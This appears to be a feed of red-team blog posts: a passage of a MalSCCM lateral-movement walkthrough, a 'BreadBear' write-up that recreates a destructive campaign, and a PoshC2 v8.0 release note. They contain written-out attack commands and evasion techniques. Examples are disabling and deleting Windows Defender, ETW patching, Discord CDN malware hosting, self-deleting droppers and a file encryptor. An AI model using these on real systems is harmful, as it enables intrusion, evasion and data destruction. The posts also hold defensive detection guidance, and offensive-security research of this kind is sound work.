  • Deployments – This will return the SCCM deployments within SCCM.

If you want to gather all information you can run the command:

MalSCCM.exe inspect /all /server:<PrimarySiteFQDN>

This will return all of the above information. These commands are useful for understanding various aspects of SCCM before, during and after exploitation.

Abusing SCCM for Lateral Movement

MalSCCM can be used for lateral movement through malicious SCCM applications.

Since SCCM works with the concepts of groups rather than individual machines for deployments, the best way to target an individual machine is to create a new SCCM group which blends in with the existing ones, then adding the target machine into that group. This allows the malicious application to be applied only to the target machine and allows for cleaning up after the attack.

The workflow of the attack is as follows:

  • Compromise a Primary Site.
  • Enumerate the Primary Site to understand which machines to target.
  • Create a new group that blends in with the current groups.
  • Add the target machine to the new group.
  • Create a malicious application.
  • Deploy the application to the group containing the target.
  • Force the target group to check in with SCCM.
  • Once laterally moved, clean up the deployment and application.
  • Delete the target group.

The functionality for all steps of the above process is within MalSCCM, allowing you to perform this chain through C2 conveniently.

To demonstrate this attack chain, the Primary Site of the lab has been compromised. To keep command lines small and screenshots readable, the C2 will be deployed on the Primary Site itself and is running with high integrity.

The computers will be enumerated to check which targets are possible through SCCM:

MalSCCM.exe inspect /computers

Text Description automatically generated

If a user was being hunted instead of a specific machine, then it may be possible to enumerate the user’s location through SCCM. Within SCCM there is an optional feature called User Device Affinity. If User Device Affinity is enabled SCCM will track the logon sessions within each client and if a login session exceeds a configured amount of time, then it will affiliate that user with that computer. This affiliation will be kept within the SCCM database and can be used by SCCM to send applications out to users by knowing which machines they are assigned to. The users affiliated with a machine are the Primary Users for that machine. There can be multiple per machine.

The affiliated Primary Users will be enumerated to determine if we can hunt for specific users:

MalSCCM.exe inspect /primaryusers

Text Description automatically generated

The groups will be enumerated to determine the current group names:

MalSCCM.exe inspect /groups

Text Description automatically generated

For this demonstration the goal would be to compromise the user Ben. From the Primary Users we can tell that this user often uses the machine WIN2016-SQL. This machine is managed through SCCM so we will deploy a malicious application to laterally move to the machine.

A new group will be created that blends in with the environment. Groups can either be user groups or computer groups within SCCM, so MalSCCM will allow you to create either. If you create a user group and add the target user, then SCCM will use the Primary User affiliations discussed previously to determine which machine it should deploy the application too. This could result in the same end goal but to manage risk and ensure the right machines are being compromised, the preference is creating a computer group.

MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device

Text Description automatically generated

With the computer group created it should be listed through inspect.

MalSCCM.exe inspect /groups

Text Description automatically generated

With the group made, the target computer is added to the group. Note that if you try to use adduser instead of addhost to add a device into a device group, it will break that group and prevent deletion, so make sure you are using the right command for the resource you are adding.

MalSCCM.exe group /addhost /groupname:TargetGroup /host:WIN2016-SQL

Text Description automatically generated

This is then inspected to ensure the user count increased in the group.

MalSCCM.exe inspect /groups

Graphical user interface, text, application Description automatically generated

This group can also be seen in the SCCM console.

Graphical user interface, text, application, email Description automatically generated

A malicious application then needs to be made. For MalSCCM the malicious application will just point to a UNC path to the application to run as SYSTEM. The simplest case would be to upload a malicious EXE and use that. Since the target endpoint will run this as SYSTEM, it’s important that the malicious EXE is placed in a share that is accessible by the target computer account rather than the user.

In this case a simple dropper EXE will be uploaded to a share. When SCCM is installed, a share is exposed on Distribution Points called SCCMContentLib$. This share is readable by all users, and would be utilised by SCCM, making it an ideal place for the malicious binary.

The malicious application will then be made pointing to the malicious EXE.

MalSCCM.exe app /create /name:demoapp /uncpath:”\\BLORE-SCCM\SCCMContentLib$\localthread.exe”

Text Description automatically generated

Inspect can be used to check that the application now exists.

MalSCCM.exe inspect /applications

Text Description automatically generated

This application will be hidden from the SCCM administrative console when created through MalSCCM, which is a useful feature however it is a noteworthy detection opportunity, since most legitimate applications would not be hidden.

Graphical user interface, application Description automatically generated

With the application made, it then needs to be deployed. MalSCCM can be used to create a deployment for the target group.

MalSCCM.exe app /deploy /name:demoapp /groupname:TargetGroup /assignmentname:demodeployment

Text Description automatically generated

Inspect can be used to ensure the deployment was created.

MalSCCM.exe inspect /deployments

Text Description automatically generated

This will return the deployment and the application that will be deployed with it. It should be noted that even though the application can be hidden from the SCCM console, the deployment can not be.

Graphical user interface, application Description automatically generated

Within the deployment the application name can be seen, and there will be a link for related objects.

Chart, bar chart Description automatically generated

If you click on that application link, it will show you the malicious application.

Graphical user interface, text, application Description automatically generated

However, if you were to click out of this menu and back into applications, the application will not be found.

Graphical user interface, text, application Description automatically generated

This is an interesting case for administrators or investigators trying to determine if SCCM has been abused. Hidden applications such as these could also be found through PowerShell for investigation, discussed more at the end of this blog post.

With the deployment made, it is possible to use MalSCCM to attempt to make the target group check in.

MalSCCM.exe checkin /groupname:TargetGroup

Text Description automatically generated

This can take time for a natural check in, however assuming the clients are online and connected, the check in should happen fairly quickly (within the lab this had a range of immediate to a few minutes). In this demo the time difference between the checkin command being issued and the implant coming back was just under 30 seconds.

After the application executed our EXE a new PoshC2 implant arrived!

It can be seen that the process name of the implant is localthread as that was the binary name for our dropper. It is also running as SYSTEM as expected.

The parent process of this is WmiPrvSE.exe, which is normal for activities happening through WMI connections. If SCCM abuse is suspected, then indicators of WMI activity may be useful to collect.

At this point the binary on the share is able to be deleted, suggesting that the binary being used on the target has been copied locally as binaries in use cannot be removed. Searching for it locally on the machine returned the following locations on disk on the target:

  • C:\Windows\Prefetch\LOCALTHREAD.exe-9A0EB550.pf

This prefetch file could be analysed using a tool such as PECmd (https://ericzimmerman.github.io/#!index.md), which would allow visibility of the modules loaded by the process.

Cleanup

Since lateral movement was successful, clean-up is performed. MalSCCM has a clean-up function that will attempt to look for deployments of the application and remove them.

MalSCCM.exe app /cleanup /name:demoapp

Text Description automatically generated

If multiple deployments have been performed with the same application, then this command should be run multiple times until there are the deployments and applications are removed. In this instance it was executed only once since there was only one deployment.

MalSCCM.exe inspect /deployments

Text Description automatically generated

MalSCCM.exe inspect /applications

Text Description automatically generated

With the application cleared, the target group can be deleted, reverting SCCM back to its original configuration.

MalSCCM.exe group /delete /groupname:TargetGroup

Text Description automatically generated

Checking with inspect to ensure the group is removed.

MalSCCM.exe inspect /groups

Graphical user interface Description automatically generated with medium confidence

Attack Recap

To recap the attack path and usage of MalSCCM, the steps were as follows:

  • Locate the Primary Site using MalSCCM.exe locate on a Distribution Point.
  • Enumerate the Primary Site using MalSCCM.exe inspect /all.
  • Create a new group using MalSCCM.exe group /create /groupname:<> /grouptype:device.
  • Add the target machine to the group using MalSCCM.exe group /addhost /groupname:<> /host:<>.
  • Upload a malicious binary to a share readable by Domain Computers.
  • Create a malicious application pointing to your binary using MalSCCM.exe app /create /name:<> /uncpath:<>.
  • Deploy the malicious application to the group containing your target using MalSCCM.exe app /deploy /name:<> /groupname:<> /assignmentname:<>.
  • Make the target check in to SCCM for an update using MalSCCM.exe checkin /groupname:<>.
  • Clean-up tracks using MalSCCM.exe app /cleanup /name:<>.
  • Clean-up the group using MalSCCM.exe group /delete /groupname:<>.

Protecting against SCCM Abuse

For defence teams looking to defend against this type of lateral movement the key item would be good segmentation. If an attacker can already compromise your SCCM Primary Site then they are likely already in a very privileged position within the network, and SCCM may be a target used for mass ransomware or accessing specific targets that may be well segmented in other areas.

The common architecture for SCCM relies on fewer servers and ease of access across a wide environment, however setting up SCCM with a more segmented hierarchy forces attackers to make more hops in the network before reaching the Primary Site, which provides a greater chance of detection.

An idea for segmentation would be having a Primary Site that is only accessible on the network from Secondary Sites or Distribution Points on the ports necessary for SCCM functionality. Then having the Secondary Sites/Distribution points on the network segments necessary to talk to the clients, but only exposing the ports needed for SCCM. This could then be scaled to environment size, but with the same isolated design.

Administration of SCCM could then be done through Privileged Access Workstations (PAWs) with appropriate access measures. This would lock down the SCCM servers, making the jumps necessary to compromise SCCM less attractive for attackers.

Once on the SCCM server, the WMI utilities leveraged are all normal actions exposed in the SCCM console. However, there are some actions that could maybe be points for detection:

  • New SCCM groups being created with only few members,
  • Applications being created that are hidden (these could be enumerated through WMI and alerted on for any application with the hidden flag set),
  • Deployments being pushed to standard groups such as All Computers,
  • Locking down unsigned executables being executed on the endpoints.

PowerShell Investigation

PowerShell can be used to investigate SCCM deployments, so some useful commands are being shared here to aid defenders. These commands are all executed on the SCCM Primary Site.

To use PowerShell with SCCM you will need to first locate the site code. This can be done through the following command:

Get-WmiObject -Namespace “root\ccm” -Query “Select Name FROM SMS_Authority”

Text Description automatically generated

This will return SMS:<SiteCode>. This SiteCode can then be used in further WMI queries for SCCM. In this case the SiteCode is LON, so we would replace <SiteCode> in the future commands with LON.

To list all groups the following command can be used:

Get-WmiObject -Namespace "root\sms\site_<SiteCode>" -Query "Select Name,MemberCount,Comment FROM SMS_Collection"

Text Description automatically generated

This will return the group names, the member counts and the comment. When MalSCCM creates a group, it will do it with no comment, which may be unusual on the environment depending on the SCCM administrator’s workflow.

To list all applications and whether they are hidden or not, the following command could be used:

Get-WmiObject -Namespace "root\sms\site_<SiteCode>" -Query "Select LocalizedDisplayName, IsHidden FROM SMS_APPLICATION"

Graphical user interface, text Description automatically generated

This returned Test which is a legitimate application created in the SCCM console and is not hidden. It also returned demoapp created through MalSCCM which is hidden.

To get a list of deployments the following command could be used:

Get-WmiObject -Namespace "root\sms\site_<SiteCode>" -Query "Select AssignmentName,ApplicationName,CollectionName,Enabled FROM SMS_ApplicationAssignment"

Text Description automatically generated

Through all of these queries, it would be possible to return all attributes with SELECT * … instead of named attributes to then review where differences occur with the normal process surrounding SCCM.

PowerSCCM includes more cmdlets that may be useful for investigation purposes as well.

Conclusion

SCCM is a powerful tool for administrators and can be a useful tool as well for attackers. This blog post isn’t to suggest that there is a weakness within SCCM, only that deployments of SCCM frequently are permissive, with singular SCCM instances managing all the clients. This makes it an attractive target within engagements where server administrative privileges may be achieved but directions towards the target are unclear. The release of MalSCCM aims to shed some light on the risks of this attack path so that SCCM deployments are made with security in mind. Care should be taken when exploiting SCCM for lateral movement to ensure that only the targeted machines are compromised where authorisation has been provided to do so.

Download MalSCCM

github GitHub: https://github.com/nettitude/MalSCCM

The post Introducing MalSCCM appeared first on Nettitude Labs.

Repurposing Real TTPs for use on Red Team Engagements

7 April 2022 at 09:00

I recently read an interesting article by Elastic. It provides new analysis of a sophisticated, targeted campaign against several organizations. This has been labelled ‘Bleeding Bear’. The articles analysis of Bleeding Bear tactics, techniques and procedures left me with a couple of thoughts. The first was, “hey, I can probably perform some of these techniques!” and the second was, “how can I improve on them?”

With that in mind, I decided to create a proof of concept for elements of Operation Bleeding Bear TTPs. This is not an exact replica, or even an attempt to be an exact replica, because I found a lot of the actions the threat actors were performing were unnecessary for my objectives. I dub this altered set of techniques BreadBear.

Where there are changes, I’ll point them out along with the reasons for them. To help you to follow along with this blog post, I have posted the code to my GitHub repository, which you are welcome to download, examine, and run. This post will be separated into three distinct sections which will mark each stage of the campaign; initial payload delivery, payload execution, and finally document encryption.

Stage 1 – Initial Payload and Delivery

The first section of the Bleeding Bear campaign is described as a WhisperGate MBR wiper. Essentially, this technique will make any machine affected unbootable on the next boot operation. The attackers replace the contents of the MBR with a message that usually says something along the lines of “To get your data back, send crypto currency to xyz address”. I didn’t implement this because it’s a proof of concept and I didn’t want to wreck my development VM 100 times to test this out.

Instead, I created a stage 1 as a fake phishing scenario to be the initial delivery of the payload. The payload itself is delivered via a static webpage that upon loading will execute JavaScript to automatically download the stage 2 payload. However, it’s up to the end user to click past a few different warnings to run the executable. I’d like to mention that initial payload delivery is probably my weakest point in all of this, so if you’re reading this and can think of a million ways to improve upon this technique, please reach out to me on twitter or LinkedIn with recommendations.

The initial payload delivery is facilitated by a static web page with some JavaScript that has the user automatically download the targeted file upon loading of the page. The webpage itself is hosted by IPFS (Inter-Planetary File System). Once you have IPFS installed on your system, all you need to do is import your web-pages root folder to IPFS and retrieve the URL to your files. This process is very simple and looks as follows.

Once IPFS is installed, first hit Import, then Folder.

Graphical user interface, text, application, Teams Description automatically generated

Next, when the browser window opens, you’ll want to browse to your static webpages root folder. A sample provided by Black Hills Information Security is included in the GitHub repo under x64/release. With tools like zphisher you can create your own, more complex, phishing sites.

Once your folder has been imported, your files will be shared via the IPFS peer-to-peer network. Additionally, they will be reachable from a common gateway that you can set in your IPFS settings. IPFS has a list of gateways that can be used, located on this site. However, to retrieve the URL that can access your files you’ll want to right click on the folder, click share link, and then copy.

Graphical user interface, application, Word Description automatically generated

Graphical user interface, application Description automatically generated

Then, all you need to do is distribute this link with the proper context for your target. When the user clicks your link, they’ll be presented with the following page:

Graphical user interface, application, Word Description automatically generated

On Chrome, if they press keep, the file finishes the download and is ready for execution. The JavaScript code that performs the automatic download to force Chrome to ask to keep the file is shown below:

Text Description automatically generated

An element variable is initialized to the download href tag. Then, we set the element to our executable file named MicrosoftUpdater.exe. Finally, we click the element programmatically which starts the download process. For more information about how IPFS can be used as a malware hosting service, read this blog by Steve Borosh who was the inspiration of the initial payload delivery.

Stage 2 – Payload Execution

Once the user has been successfully phished, phase 1 has been completed and we transition into phase 2, with the execution of stage2.exe or, in this case, the MicrosoftUpdater.exe program. In the Bleeding Bear campaign, the heavy lifting is performed by the stage2.exe binary, which uses Discord to download and execute malicious programs. My stage 2 binary also utilizes the Discord CDN to download, reflectively load, and execute stage 3. However, that’s pretty much where the comparison stops.

The stage 2 Discord downloader in the Bleeding Bear campaign downloads an obfuscated .NET assembly and uses reflection to load it. However, mine is a compiled PE binary. Additionally, the Bleeding Bear campaign performs a lot of operations which require either a UAC bypass or a UAC accept from the user to perform. These actions include writing a VBScript payload to disk which will set a Defender exclusion path on the C drive.
"C:\Windows\System32\WScript.exe""C:\Users\jim\AppData\Local\Temp\Nmddfrqqrbyjeygggda.vbs"
powershell.exe Set-MpPreference -ExclusionPath 'C:\'

Then the payload will download and run AdvancedRun in a higher integrity to stop Windows Defender and delete all files in the Windows Defender directory.

"C:\Users\jim\AppData\Local\Temp\AdvancedRun.exe" /EXEFilename "C:\Windows\System32\sc.exe" `
/WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run
"C:\Users\jim\AppData\Local\Temp\AdvancedRun.exe" `
/EXEFilename "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /WindowState 0 `
/CommandLine "rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse" `
/StartDirectory "" /RunAs 8 /Run

Next, InstallUtil.exe is downloaded to the user’s Temp directory. The InstallUtil program is used for process hollowing. This means that the executable is started in a suspended state, then the memory of the process is overwritten with a malicious payload which is then executed instead. To the computer, it will look like InstallUtil is running, however, it is actually the payload. In the Bleeding Bear campaign, that malicious payload happens to be a File Corruptor, which overwrites 1MB of the byte 0xCC over all files that end with the following extensions:

.3DM .3DS .602 .7Z .ACCDB .AI .ARC .ASC .ASM .ASP .ASPX .BACKUP .BAK .BAT .BMP .BRD .BZ .BZ2 .C .CGM .CLASS .CMD .CONFIG .CPP .CRT .CS .CSR .CSV .DB .DBF .DCH .DER .DIF .DIP .DJVU.SH .DOC .DOCB .DOCM .DOCX .DOT .DOTM .DOTX .DWG .EDB .EML .FRM .GIF .GO .GZ .H .HDD .HTM .HTML .HWP .IBD .INC .INI .ISO .JAR .JAVA .JPEG .JPG .JS .JSP .KDBX .KEY .LAY .LAY6 .LDF .LOG .MAX .MDB .MDF .MML .MSG .MYD .MYI .NEF .NVRAM .ODB .ODG .ODP .ODS .ODT .OGG .ONETOC2 .OST .OTG .OTP .OTS .OTT .P12 .PAQ .PAS .PDF .PEM .PFX .PHP .PHP3 .PHP4 .PHP5 .PHP6 .PHP7 .PHPS .PHTML .PL .PNG .POT .POTM .POTX .PPAM .PPK .PPS .PPSM .PPSX .PPT .PPTM .PPTX .PS1 .PSD .PST .PY .RAR .RAW .RB .RTF .SAV .SCH .SHTML .SLDM .SLDX .SLK .SLN .SNT .SQ3 .SQL .SQLITE3 .SQLITEDB .STC .STD .STI .STW .SUO .SVG .SXC .SXD .SXI .SXM .SXW .TAR .TBK .TGZ .TIF .TIFF .TXT .UOP .UOT .VB .VBS .VCD .VDI .VHD .VMDK .VMEM .VMSD .VMSN .VMSS .VMTM .VMTX .VMX .VMXF .VSD .VSDX .VSWP .WAR .WB2 .WK1 .WKS .XHTML .XLC .XLM .XLS .XLSB .XLSM .XLSX .XLT .XLTM .XLTX .XLW .YML .ZIP

I found a lot of these steps to be unnecessary; therefore, I did not perform them. I wanted to leave as minimal trace on the system as possible. I also didn’t see a need for a high integrity process to be spawned to perform ancillary functions, such as deleting Windows Defender, when we can just bypass it. However, my stage 2 code does contain a failed UAC bypass even though it is not used.

The differences between my stage 2/3 will become apparent as we walk through the code. Before we start walking through the code, I’d like to mention the features of my stage 2 so that when you see auxiliary function names through the code – it’ll make sense. My stage 2 does the following:

  • Dynamically retrieves function pointers to any Windows APIs used maliciously
    • Has a custom GetProcAddress() & GetModuleHandle() implementation to retrieve function calls
    • Custom LoadLibrary() function that will dynamically retrieve the pointer to LoadLibraryW() at each run.
  • Hides the console window at startup.
  • Has a self-delete function which will delete the file on disk at runtime once the PE has been loaded into memory and executed.
  • Unhooks DLLs using the system calls for native windows APIs (using the Halo’s Gate technique).
  • Disables Event Tracing for Windows (ETW).
  • Uses a simple XOR decrypt function to decrypt strings such as Discord CDN URLs at runtime.
  • Performs a web request to Discord CDN using Windows APIs to retrieve stage3 in a base64 encoded format.
  • Reflectively loads a stage 3 payload in memory and executes.
  • Lazy attempts at string obfuscation.

With that said, I will only cover techniques I found particularly interesting or important in this blog post for brevity.

A picture containing text Description automatically generated

First, we see a dynamically resolved ShowWindow() used to hide the window. Next, we see SelfDelete() which will delete itself from disk even if the executable is running still. I believe this function is a neat trick and worth going over.

A picture containing text Description automatically generated

First, we dynamically resolve pointers to the Windows APIs CloseHandle(), SetFileInformationByHandle(), CreateFileW(), and GetModuleFileNameW(). Following that we create some variables to store necessary information.

Text Description automatically generated

Next, we resolve the path that our stage 2 is downloaded to disk using GetModuleFileNameW(). We then obtain a handle to stage 2 using CreateFileW() and the OPEN_EXISTING flag. We create a FILE_RENAME_INFO structure and populate its contents with the rename string “:breadman” and a flag to replace the file if it exists already. We make a call to setFileInformationByHandle() using our file handle, our rename information structure, and the FileRenameInfo() flag. This renaming of the file handle will allow us to delete the file on disk. This is because the file lock occurs on the renamed file handle. We can then reopen a file handle to the original file on disk and delete it. Thus, we close our handle and reopen it using the original filename path. After, we call SetFileInformationByHandle() again with a File Disposition Info structure and the DeleteFileW() flag set to true. Finally, we close our file handle, which will cause the file to be deleted from disk and we continue our code execution back in main.

With that done, we perform the unhooking of our DLLs using System Calls and Native APIs to bypass AV/EDR hooking. I won’t cover this in depth, however, the same exact code is used in another of my blog posts.

The next important functions in main() are disabling event tracing for windows and decrypting the encrypted Discord CDN strings.

Text Description automatically generated

The disabling of event tracing for windows is simple (function template credits to Sektor7 institute):

Text Description automatically generated

First, we obtain a handle to the function EventWrite() in the NTDLL.dll library. Then we change the memory protections of a single page to execute+read+write, copy in the byte equivalent to xor rax,rax ; ret at the first four bytes. This will eventually set the return value of the function to zero (probably indicating success) and then returning. The function essentially returns without performing any actions, and therefore disables event tracing for windows.

I won’t go over the XOR decryption since it’s a rudimentary technique. However, I will go over how you can use Discord CDN as a MDN ‘Malware Distribution Network’.

In Discord, anyone can create their own private server to upload files, messages, pictures, etc. to. However, access to anything uploaded, even to a private server, does not require authentication. One caveat to keep in mind, however, is that executables need to be converted to a base64 string. When I downloaded them manually from the CDN, I ran into problems (likely compression) where the size was smaller when I downloaded it using APIs. The same problem did not occur with text files. Therefore, I put the base64 encoded PE file into a text file and downloaded that instead. This looks like the following:

Graphical user interface, text, application Description automatically generated

Once you’ve uploaded the file, you can right click the download link at the bottom of the above screenshot, then select Copy Link.

Graphical user interface, text, application, website Description automatically generated

Once that has been completed, you have your Discord CDN URL that is accessible from anywhere in the world without authentication. Additionally, these URLs are valid forever even if the file has been deleted from the server.

It’s as simple as that. Obviously, there might be some red team infrastructure you’d want to standup in-between the CDN and the target host to redirect any potential security analysts who go snooping, but it’s an effective method for serving up malware.

Next, to finish up main(), we perform the following tasks. We first parse our Discord CDN URL that was just decrypted into separate parts. Then we perform a request to download our targeted file by calling the do_request() function using the parsed URL pieces.

Text Description automatically generated

We open the do_request() function by dynamically resolving pointers to any Windows APIs we will use to perform the HTTPS request to Discord. We then follow that up by initializing variables we’re going to use as parameters to the following WinInet function calls.

Graphical user interface, text Description automatically generated

There aren’t too many interesting pieces of information regarding our Internet API calls, aside from the InternetOpenA() and the HttpOpenRequestA() calls. For the first, we specify INTERNET_OPEN_TYPE_DIRECT to ensure that there is no proxy. We can put default options here to specify the default system proxy settings. Additionally, for HttpOpenRequestA() we specify the INTERNET_FLAG_NO_CACHE_WRITE flag to ensure the call doesn’t cache the file download in the %LocalAppData%\Microsoft\Windows\INetCache. Next, we make a call to HttpQueryInfoA() with the HTTP_QUERY_CUSTOM flag. This ensures that we can receive the value of a custom HTTP Response header that we got back when we made our HTTP request. The specified custom query header is passed to do_request() from main and is the content length header. We will use this value to allocate memory for our stage 3 payload that was just downloaded.

Text Description automatically generated

We now allocate memory for our downloaded file using malloc() and the size of our content length value. Following that, we make a call to InternetReadFile() function to load the base64 encoded data into our allocated memory space. Once it has been successfully loaded, we make a call to pCryptStringToBinaryW(), which will convert our base64 encoded data into the byte code that makes up our stage 3 payload. We then free the allocated memory region and call the final function of do_request() which is reflectiveLoader().

Text Description automatically generated

I won’t go over the reflective loading / execution of our PE File in memory because I’ve written a previous blog post about it already. However, I used the code from this resource as the base of my loader.

Stage 3 – File Corruptor

Stage 3 probably has the biggest differences in functionality from the Bleeding Bear campaign. The stage 3 of the Bleeding Bear campaign is a “File Corruptor”, and not an encryption scheme. What this means is that the Bleeding Bear campaign’s third stage will overwrite the first 1mb of data of all files it finds on disk that are not critical to system operation. If the file is smaller than 1mb of data, it will overwrite the whole file and add the difference to make a 1mb file. As far as I know, the campaign does not download the unaffected files before overwriting, therefore all data will be lost. This file corruptor is also not a reflectively loaded PE file. Instead, the file corruptor is likely a piece of shellcode that is executed via a process hollowing technique. The stage 2 of the Bleeding Bear campaign downloads InstallUtil.exe to disk, executes it in a suspended state, overwrites the process memory to the corruptor shellcode, and then resumes the process execution.

The BreadBear technique uses a file encryptor rather than a corruptor. I decided to use an encryptor because eventually I plan to add the functionality of downloading the unencrypted data, the keys used to encrypt the file, and to add a decryption function. I believe this would be beneficial to clients who want to test against a simulated ransomware campaign. Additionally, since I am reflectively loading the stage 3 executable in memory, there’s no need to perform process hollowing, or even writing the InstallUtil binary to disk. I believe my approach is more operationally secure than the Bleeding Bear’s alternative.

Additionally, with my approach you can swap out your stage 3 from file encryptor to implant shellcode. I have successfully tested my stage 3 payload with the binary from my previous blog post BreadMan Module Stomping. The only requirement for the reflective loading is that the file chosen is compiled in a valid PE format.

With that being said, let’s dive into stage 3: the file encryptor.

I would like to note that no attempts at obfuscation or evasion were made in the stage 3 payload. This is because it is being loaded into a process memory space that was unhooked from AV/EDR, and ETW patching have already occurred, so it is not needed.

Text Description automatically generated

In main(), all we do is call the encryptDirectory() function with the argument of our target directory. Note, that since this is a proof of concept, I did not implement functionality to encrypt entire drives.

encryptDirectory() starts by initializing a variable to hold a new directory path called tmpDirectory(). We add the portion “\\*” to our target directory which will indicate we want to retrieve all files. Then, we initialize a WIN32_FIND_DATAW and a file handle variable.

Text Description automatically generated

Next, we call FindFirstFileW() using the target directory and our FIND_DATAW variables as parameters. Then, we create a linked list of directories.

To follow that up, we enter a do-while loop, which continues while we have more directories or files to encrypt in our current directory. We initialize two more file directory path variables. The tmp2 variable stores the name of the next file/directory we need to traverse/encrypt, and the tmp3 variable stores the randomized encrypted file name after the file has been encrypted. Next, we check if the object we obtained a handle to is a directory and if it is the current or previous directory, ‘.’, or ‘..’. If it is, we skip them.

If it’s any other directory, we append the name of that directory to the current directory, add it as a node to our linked list, and continue. If it’s a file, we generate a random string, append that string to the current directory path, and call encryptFile(). This function takes the following parameters: the full path to the unencrypted file, the full path name of the encrypted file, and the password used to encrypt. We then call DeleteFile() on the unencrypted file. Finally, we obtain a handle to the next file in the folder.

Text Description automatically generated

To finish the function off, we recursively call encryptDirectory() until there are no more folders in the linked list of folders we identified.

Text Description automatically generated

I won’t dive too deep into the file encryption function for two reasons. First, I am not a big cryptography guy. I don’t know much about it, and I don’t want to give any false information. Second, I took this proof of concept and just implemented it in C instead of CPP.

However, the important part I’d like to highlight is that I used the same determination scheme the Bleeding Bear campaign uses to ascertain if a file should be corrupted or not. BreadBear and Bleeding Bear both use the following file extension list to determine if a file should be altered:

Text Description automatically generated

Conclusion

With BreadBear, I took an analysis of a real threat actors TTPs and created a working proof of concept, which I believe improves upon some of their tooling. This work can help organizations visualize how a campaign can be easily created and defend accordingly. More importantly, it was an educational exercise. Feel free to contribute to the code base over on GitHub.

The post Repurposing Real TTPs for use on Red Team Engagements appeared first on Nettitude Labs.

Introducing PoshC2 v8.0

We’re thrilled to announce a new release of PoshC2 packed full of new features, modules, major improvements, and bug fixes. This includes the introduction of a brand-new native Linux implant and the capability to execute Beacon Object Files (BOF) directly from PoshC2!

Download and Documentation

Please use the following links for download and documentation:

RunOF Capability

In this release, we have introduced Joel Snape’s (@jdsnape) excellent method to run Cobalt Strike Beacon Object Files (BOF) in .NET, and its integration in PoshC2. This feature has a blog post unto itself available, but essentially it allows existing BOFs to be run in any C# implant, including PoshC2.

Text Description automatically generated

At a high-level, here is how it works:

  • Receive or open a BOF file to run
  • Load it into memory
  • Resolve any relocations that are present
  • Set memory permissions correctly
  • Locate the entry point for the BOF
  • Execute in a new thread
  • Retrieve any data output by the BOF
  • Clean-up memory artifacts before exiting

Read our recent blog post on this for more detail.

SharpSocks Improvements

SharpSocks provides HTTP tunnelled SOCKS proxying capability to PoshC2 and has been rewritten and modernised to improve stability and usability, in addition to having its integration with PoshC2 improved, so that it can be more clearly and easily configured and used.

Text Description automatically generated

RunPE Integration

Last year, Rob Bone (@m0rv4i) and Ben Turner (@benpturner) released a whitepaper on “Process Hiving” along with a new tool “RunPE”, the source code of which can be found here. We have integrated this technique within this release of PoshC2 for ease of use, and it can be executed as follows:

Text Description automatically generated

By default, new executables can be added to /opt/PoshC2/resources/modules/PEs so that PoshC2 knows where to find them when using the runpe and runpe-debug commands shown above.

DllSearcher

We’ve added the dllsearcher command which allows operators to search for specific module names loaded within the implant’s current process, for instance:

Graphical user interface, application Description automatically generated

GetDllBaseAddress, FreeMemory & RemoveDllBaseAddress

Three evasion related commands were added which can be used to hide the presence of malicious shellcode in memory. getdllbaseaddress is used to retrieve the implant shellcode’s current base address, for example:

Graphical user interface, text, application, chat or text message Description automatically generated

Looking at our process in Process Hacker, we can correlate this base address memory location:

Table Description automatically generated

By using the freememory command, we can then clear this address’ memory space:

Graphical user interface, application Description automatically generated

Table Description automatically generated

The removedllbaseaddress command is a combination of getdllbaseaddress and freememory, which can be used to expedite the above process by automatically finding and freeing the relevant implant shellcode’s memory space:

Graphical user interface, text, application Description automatically generated

Get-APICall & DisableEnvironmentExit

In this commit we implemented a means for operators to retrieve the memory location of specific function calls via get-apicall, for instance:

Graphical user interface, application Description automatically generated

In addition, we’ve included disableenvironmentexit which patches and prevents calls to Environment.Exit() within the current implant. This can be particularly useful when executing modules containing this call which may inadvertently kill our implant’s process.

C# Ping, IPConfig, and NSLookup Modules

Several new C# modules related to network operations were developed and added to this release, thanks to Leo Stavliotis (@lstavliotis). They can be run using the following new commands:

  • ping <ip/hostname >
  • nslookup <ip/hostname>
  • ipconfig

C# Telnet Client

A simple Telnet client module has been developed by Charley Celice (@kibercthulhu) and embedded in the C# implant handler to provide operators the ability to quickly validate Telnet access where needed. It will simply attempt to connect and run an optional command before exiting:

A picture containing graphical user interface Description automatically generated

We have plans to add additional modules such as this one to cover a wider range of services.

C# Registry Module

Another module by Charley Celice (@kibercthulhu) was added. SharpReg allows for common registry operations in Windows. At this stage it currently consists of simple functionalities to search, query, create/edit, delete and audit registry hives, keys, values and data. It can be executed as shown below:

Text Description automatically generated

We’re adding more features to this module which will include expediating certain registry-based persistence, privilege escalation, UAC bypass techniques, and beyond.

PoshGrep

PoshGrep can easily be used to parse task outputs. This can be particularly useful when searching for specific process information obtained from a large number of remote hosts. It can be used by piping your PoshC2 command into poshgrep, for example:

A screenshot of a computer Description automatically generated with medium confidence

The output task database retains the full output for tracking.

FindFile

findfile was added, which can be used to search for specific file names and types. In the example below, we search for any occurrences of the file name “password” within .txt files:

Graphical user interface Description automatically generated with medium confidence

Bringing PoshC2 to Linux

One of the major new features we have incorporated in this release of PoshC2 is our new Native Linux implant, thanks to the great work of Joel Snape (@jdsnape). While it’s fair to say that we spend most of our time on Windows, we find that having the capability to persist on Linux machines (usually servers) can be key to a successful engagement. We also know that many of the adversaries we simulate have developed tooling specifically for Linux. PoshC2 has always had a Python implant which will run on Linux assuming that Python is installed, but we decided that it was time that we advanced our capabilities to a native binary that is harder to detect and has fewer dependencies.

To that end, Posh v8.0 includes a native Linux implant that can run on any* x86/x64 Linux OS with a kernel >= 2.6 (it should work on earlier versions, but we’ve not tested that far back!). It also works on a few systems that aren’t Linux but have implemented enough of the syscall interface (most importantly ESXi hypervisors).

Usage

When payloads are created in PoshC2 you will notice a new “native_linux” payload being written on startup:

Payload

Payload

This is the stage one payload, and when executed will contact the C2 server and retrieve the second stage. The first stage is a statically linked stripped executable, around 1MB in size. The second stage is a statically linked shared library, that the first stage will load in memory using a custom ELF loader and execute (see below for more detail). The dropper has been designed to be as compatible as possible, and so should just work out of the box regardless of what userspace is present.

The aim of the implant is not to be “super-stealthy”, but to emulate a common Linux userspace Trojan. Therefore, the implant just needs to be executed directly; how you do this will obviously depend on the level of access you have to your target.

Once the second stage has been downloaded and executed the implant operates in much the same way as the existing Python implant, supporting many of the same commands, and they can be listed with the help command:

help

Help

